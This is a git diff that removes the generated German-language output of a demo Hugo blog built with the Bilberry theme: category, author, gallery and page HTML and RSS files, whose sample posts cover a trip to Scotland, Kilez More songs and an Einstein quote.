a/themes/public/de/author/albert-einstein/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/author/albert-einstein/ \ No newline at end of file diff --git a/themes/public/de/author/index.html b/themes/public/de/author/index.html deleted file mode 100644 index 83754910..00000000 --- a/themes/public/de/author/index.html +++ /dev/null @@ -1,250 +0,0 @@ - - - - - - - - - - Author | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - - - - - -
    - - -
    -
    - - -
    - Neuste Beiträge -
      - -
    -
    - - - - -
    - -
    - Social media - - - - - - - - - - - - - - - - - - -
    - - - -
    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/author/index.xml b/themes/public/de/author/index.xml deleted file mode 100644 index 2c44b98a..00000000 --- a/themes/public/de/author/index.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - Author on Mein cooler neuer Blog - https://h.cowbay.org/de/author/ - Recent content in Author on Mein cooler neuer Blog - Hugo -- gohugo.io - - - - - - \ No newline at end of file diff --git a/themes/public/de/author/lednerb/index.html b/themes/public/de/author/lednerb/index.html deleted file mode 100644 index 59e76162..00000000 --- a/themes/public/de/author/lednerb/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Lednerb | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/author/lednerb/index.xml b/themes/public/de/author/lednerb/index.xml deleted file mode 100644 index f619045a..00000000 --- a/themes/public/de/author/lednerb/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Lednerb on Mein cooler neuer Blog - https://h.cowbay.org/de/author/lednerb/ - Recent content in Lednerb on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/author/lednerb/page/1/index.html b/themes/public/de/author/lednerb/page/1/index.html deleted file mode 100644 index d6afb637..00000000 --- a/themes/public/de/author/lednerb/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/author/lednerb/ \ No newline at end of file diff --git a/themes/public/de/categories/index.html b/themes/public/de/categories/index.html deleted file mode 100644 index 81001c35..00000000 --- a/themes/public/de/categories/index.html +++ /dev/null @@ -1,250 +0,0 @@ - - - - - - - - - - Categories | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - - - - - -
    - - -
    -
    - - -
    - Neuste Beiträge -
      - -
    -
    - - - - -
    - -
    - Social media - - - - - - - - - - - - - - - - - - -
    - - - -
    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/index.xml b/themes/public/de/categories/index.xml deleted file mode 100644 index 03666e35..00000000 --- a/themes/public/de/categories/index.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - Categories on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/ - Recent content in Categories on Mein cooler neuer Blog - Hugo -- gohugo.io - - - - - - \ No newline at end of file diff --git a/themes/public/de/categories/musik/index.html b/themes/public/de/categories/musik/index.html deleted file mode 100644 index d429ef86..00000000 --- a/themes/public/de/categories/musik/index.html +++ /dev/null @@ -1,490 +0,0 @@ - - - - - - - - - - Musik | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Musik - - - - - -
    - - - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/musik/index.xml b/themes/public/de/categories/musik/index.xml deleted file mode 100644 index 237db258..00000000 --- a/themes/public/de/categories/musik/index.xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - Musik on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/musik/ - Recent content in Musik on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Leben und Tod des Imperialismus - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More ist ein großartiger Österreichischer Musiker. -Die meisten seiner Songs haben einen politischen Hintergrund und geniale Texte!</p> - -<p></p> - - - - Kilez More - New World Order - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - - \ No newline at end of file diff --git a/themes/public/de/categories/musik/page/1/index.html b/themes/public/de/categories/musik/page/1/index.html deleted file mode 100644 index c9c6724c..00000000 --- a/themes/public/de/categories/musik/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/categories/musik/ \ No newline at end of file diff --git a/themes/public/de/categories/politik/index.html b/themes/public/de/categories/politik/index.html deleted file mode 100644 index 9390fa5c..00000000 --- a/themes/public/de/categories/politik/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - Politik | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/politik/index.xml b/themes/public/de/categories/politik/index.xml deleted file mode 100644 index 0799bf02..00000000 --- a/themes/public/de/categories/politik/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Politik on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/politik/ - Recent content in Politik on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Leben und Tod des Imperialismus - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More ist ein großartiger Österreichischer Musiker. -Die meisten seiner Songs haben einen politischen Hintergrund und geniale Texte!</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/de/categories/politik/page/1/index.html b/themes/public/de/categories/politik/page/1/index.html deleted file mode 100644 index 9659960f..00000000 --- a/themes/public/de/categories/politik/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/categories/politik/ \ No newline at end of file diff --git a/themes/public/de/categories/reise/index.html b/themes/public/de/categories/reise/index.html deleted file mode 100644 index 5772aa55..00000000 --- a/themes/public/de/categories/reise/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Reise | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/reise/index.xml b/themes/public/de/categories/reise/index.xml deleted file mode 100644 index d54a0ddf..00000000 --- a/themes/public/de/categories/reise/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Reise on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/reise/ - Recent content in Reise on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/categories/reise/page/1/index.html b/themes/public/de/categories/reise/page/1/index.html deleted file mode 100644 index 1cd7f19a..00000000 --- a/themes/public/de/categories/reise/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/categories/reise/ \ No newline at end of file diff --git a/themes/public/de/categories/urlaub/index.html b/themes/public/de/categories/urlaub/index.html deleted file mode 100644 index fe57322a..00000000 --- a/themes/public/de/categories/urlaub/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Urlaub | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/urlaub/index.xml b/themes/public/de/categories/urlaub/index.xml deleted file mode 100644 index 2724cbac..00000000 --- a/themes/public/de/categories/urlaub/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Urlaub on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/urlaub/ - Recent content in Urlaub on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/categories/urlaub/page/1/index.html b/themes/public/de/categories/urlaub/page/1/index.html deleted file mode 100644 index f5468ad4..00000000 --- a/themes/public/de/categories/urlaub/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/categories/urlaub/ \ No newline at end of file diff --git a/themes/public/de/categories/video/index.html b/themes/public/de/categories/video/index.html deleted file mode 100644 index 05ecf83d..00000000 --- a/themes/public/de/categories/video/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - Video | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/video/index.xml b/themes/public/de/categories/video/index.xml deleted file mode 100644 index e973a1d4..00000000 --- a/themes/public/de/categories/video/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Video on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/video/ - Recent content in Video on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Leben und Tod des Imperialismus - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/de/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More ist ein großartiger Österreichischer Musiker. -Die meisten seiner Songs haben einen politischen Hintergrund und geniale Texte!</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/de/categories/video/page/1/index.html b/themes/public/de/categories/video/page/1/index.html deleted file mode 100644 index 0cd5dbfd..00000000 --- a/themes/public/de/categories/video/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/categories/video/ \ No newline at end of file diff --git a/themes/public/de/categories/zitate/index.html b/themes/public/de/categories/zitate/index.html deleted file mode 100644 index 0bcaf6ff..00000000 --- a/themes/public/de/categories/zitate/index.html +++ /dev/null @@ -1,337 +0,0 @@ - - - - - - - - - - Zitate | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller.

    - - Albert Einstein -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/categories/zitate/index.xml b/themes/public/de/categories/zitate/index.xml deleted file mode 100644 index 246715f7..00000000 --- a/themes/public/de/categories/zitate/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Zitate on Mein cooler neuer Blog - https://h.cowbay.org/de/categories/zitate/ - Recent content in Zitate on Mein cooler neuer Blog - Hugo -- gohugo.io - Fri, 01 Dec 2017 14:40:32 +0100 - - - - - - Albert Einstein - Sinn Des Lebens - https://h.cowbay.org/de/quote/einstein-sinn-des-lebens/ - Fri, 01 Dec 2017 14:40:32 +0100 - - https://h.cowbay.org/de/quote/einstein-sinn-des-lebens/ - Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller. - - - - \ No newline at end of file diff --git a/themes/public/de/categories/zitate/page/1/index.html b/themes/public/de/categories/zitate/page/1/index.html deleted file mode 100644 index 2e16d7f3..00000000 --- a/themes/public/de/categories/zitate/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/categories/zitate/ \ No newline at end of file diff --git a/themes/public/de/gallery/index.html b/themes/public/de/gallery/index.html deleted file mode 100644 index 374d558f..00000000 --- a/themes/public/de/gallery/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Galleries | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/gallery/index.xml b/themes/public/de/gallery/index.xml deleted file mode 100644 index ca760b87..00000000 --- a/themes/public/de/gallery/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Galleries on Mein cooler neuer Blog - https://h.cowbay.org/de/gallery/ - Recent content in Galleries on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - Meine Reise nach Schottland - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/de/gallery/my-trip-to-scotland/ - Im Juni 2017 habe ich mit meinem besten Freund Schottland für 2 Wochen besucht und bereist. Wir fuhren viel durch das schöne Land und sahen eine Reihe verschiedener Tiere: Rinder, Hirsche, Vögel, Delfine und Schafe. Überall Schafe! -Auf einem schönen, kleinen Campingplatz sahen wir am frühen Morgen Rinder im Nebel und machten ein Foto. Dieses Bild hat seither den Titel &ldquo;Rindviehcher im Nebel&rdquo;. -Wir fuhren mit dem Auto durch den Eurotunnel Calais-Folkstone nach Großbritannien und fuhren die Westküste nach Norden und besuchten die Isle of Skye - eine wunderschöne Insel, die man in seinem Leben auf jeden Fall gesehen haben sollte. - - - - \ No newline at end of file diff --git a/themes/public/de/gallery/my-trip-to-scotland/index.html b/themes/public/de/gallery/my-trip-to-scotland/index.html deleted file mode 100644 index 0353aed2..00000000 --- a/themes/public/de/gallery/my-trip-to-scotland/index.html +++ /dev/null @@ -1,437 +0,0 @@ - - - - - - - - - - Meine Reise nach Schottland | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland1.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland1.jpg deleted file mode 100644 index bcde7ead..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland1.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 440e18fb..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland2.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland2.jpg deleted file mode 100644 index beff6515..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland2.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index cd84ebf8..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland3.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland3.jpg deleted file mode 100644 index 7624cd67..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland3.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index ebe6cec2..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland4.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland4.jpg deleted file mode 100644 index b876d18c..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland4.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index b9987729..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland5.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland5.jpg deleted file mode 100644 index 24f316e8..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland5.jpg and /dev/null differ diff --git a/themes/public/de/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg b/themes/public/de/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 83673a15..00000000 Binary files a/themes/public/de/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/de/gallery/page/1/index.html b/themes/public/de/gallery/page/1/index.html deleted file mode 100644 index b3cef720..00000000 --- a/themes/public/de/gallery/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/gallery/ \ No newline at end of file diff --git a/themes/public/de/index.html b/themes/public/de/index.html deleted file mode 100644 index e90853d6..00000000 --- a/themes/public/de/index.html +++ /dev/null @@ -1,254 +0,0 @@ - - - - - - - - - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - - - - - - - - - -
    - - -
    -
    - - -
    - Neuste Beiträge -
      - -
    -
    - - - - -
    - -
    - Social media - - - - - - - - - - - - - - - - - - -
    - - - -
    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/index.json b/themes/public/de/index.json deleted file mode 100644 index 0637a088..00000000 --- a/themes/public/de/index.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/themes/public/de/index.xml b/themes/public/de/index.xml deleted file mode 100644 index dfe444cb..00000000 --- a/themes/public/de/index.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - Mein cooler neuer Blog - https://h.cowbay.org/de/ - Recent content on Mein cooler neuer Blog - Hugo -- gohugo.io - - - - - - \ No newline at end of file diff --git a/themes/public/de/page/about-bilberry/index.html b/themes/public/de/page/about-bilberry/index.html deleted file mode 100644 index 062da55f..00000000 --- a/themes/public/de/page/about-bilberry/index.html +++ /dev/null @@ -1,404 +0,0 @@ - - - - - - - - - - Über Bilberry | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Über Bilberry

    -
    - - - - - - - -
    - - -

    Bilberry ist ein Premium Theme für den Hugo Static Website Builder.

    - -

    Das Theme beinhaltet viele Features wie bspw.:

    - -
      -
    • Integration für die Algolia-Suche
    • -
    • Integration für Disqus Kommentare
    • -
    • Gravatar-Integration oder eigenes Profilbild im Header
    • -
    • Tastaturunterstützung für die Suche (s Taste drücken, etwas Schreiben, per enter bestätigen oder mit esc abbrechen)
    • -
    • Responsive Design - optimiert für Desktop und mobile Geräte
    • -
    • Volle Unterstützung für Übersetzungen (en, de, fr, ru, es bereits integriert!)
    • -
    • Volle Unterstützung für mehrsprachige Seiten
    • -
    • Verschiedene Post-Types (article, audio, code, gallery, link, page, picture, quote, video) - -
        -
      • Einfache Konfiguration und Erweiterung um persönliche Typen
      • -
    • -
    - -

    Dieses Theme ist eine Adaptopn des Lingonberry Themes von Anders Norén

    - -

    Weitere Informationen auf GitHub

    - - -
    - - - - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/page/github/index.html b/themes/public/de/page/github/index.html deleted file mode 100644 index 99933d5b..00000000 --- a/themes/public/de/page/github/index.html +++ /dev/null @@ -1,388 +0,0 @@ - - - - - - - - - - Github | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Github

    -
    - - - 2017-11-01 - - - - - - - - -
    - - - - -
    - - - - - - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/page/index.html b/themes/public/de/page/index.html deleted file mode 100644 index 517cf193..00000000 --- a/themes/public/de/page/index.html +++ /dev/null @@ -1,313 +0,0 @@ - - - - - - - - - - Pages | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/page/index.xml b/themes/public/de/page/index.xml deleted file mode 100644 index 7b51c6f0..00000000 --- a/themes/public/de/page/index.xml +++ /dev/null @@ -1,34 +0,0 @@ - - - - Pages on Mein cooler neuer Blog - https://h.cowbay.org/de/page/ - Recent content in Pages on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:18:45 +0100 - - - - - - Über Bilberry - https://h.cowbay.org/de/page/about-bilberry/ - Wed, 01 Nov 2017 13:18:45 +0100 - - https://h.cowbay.org/de/page/about-bilberry/ - Bilberry ist ein Premium Theme für den Hugo Static Website Builder. -Das Theme beinhaltet viele Features wie bspw.: - Integration für die Algolia-Suche Integration für Disqus Kommentare Gravatar-Integration oder eigenes Profilbild im Header Tastaturunterstützung für die Suche (s Taste drücken, etwas Schreiben, per enter bestätigen oder mit esc abbrechen) Responsive Design - optimiert für Desktop und mobile Geräte Volle Unterstützung für Übersetzungen (en, de, fr, ru, es bereits integriert!) Volle Unterstützung für mehrsprachige Seiten Verschiedene Post-Types (article, audio, code, gallery, link, page, picture, quote, video) Einfache Konfiguration und Erweiterung um persönliche Typen Dieses Theme ist eine Adaptopn des Lingonberry Themes von Anders Norén - - - - Github - https://h.cowbay.org/de/page/github/ - Wed, 01 Nov 2017 13:17:56 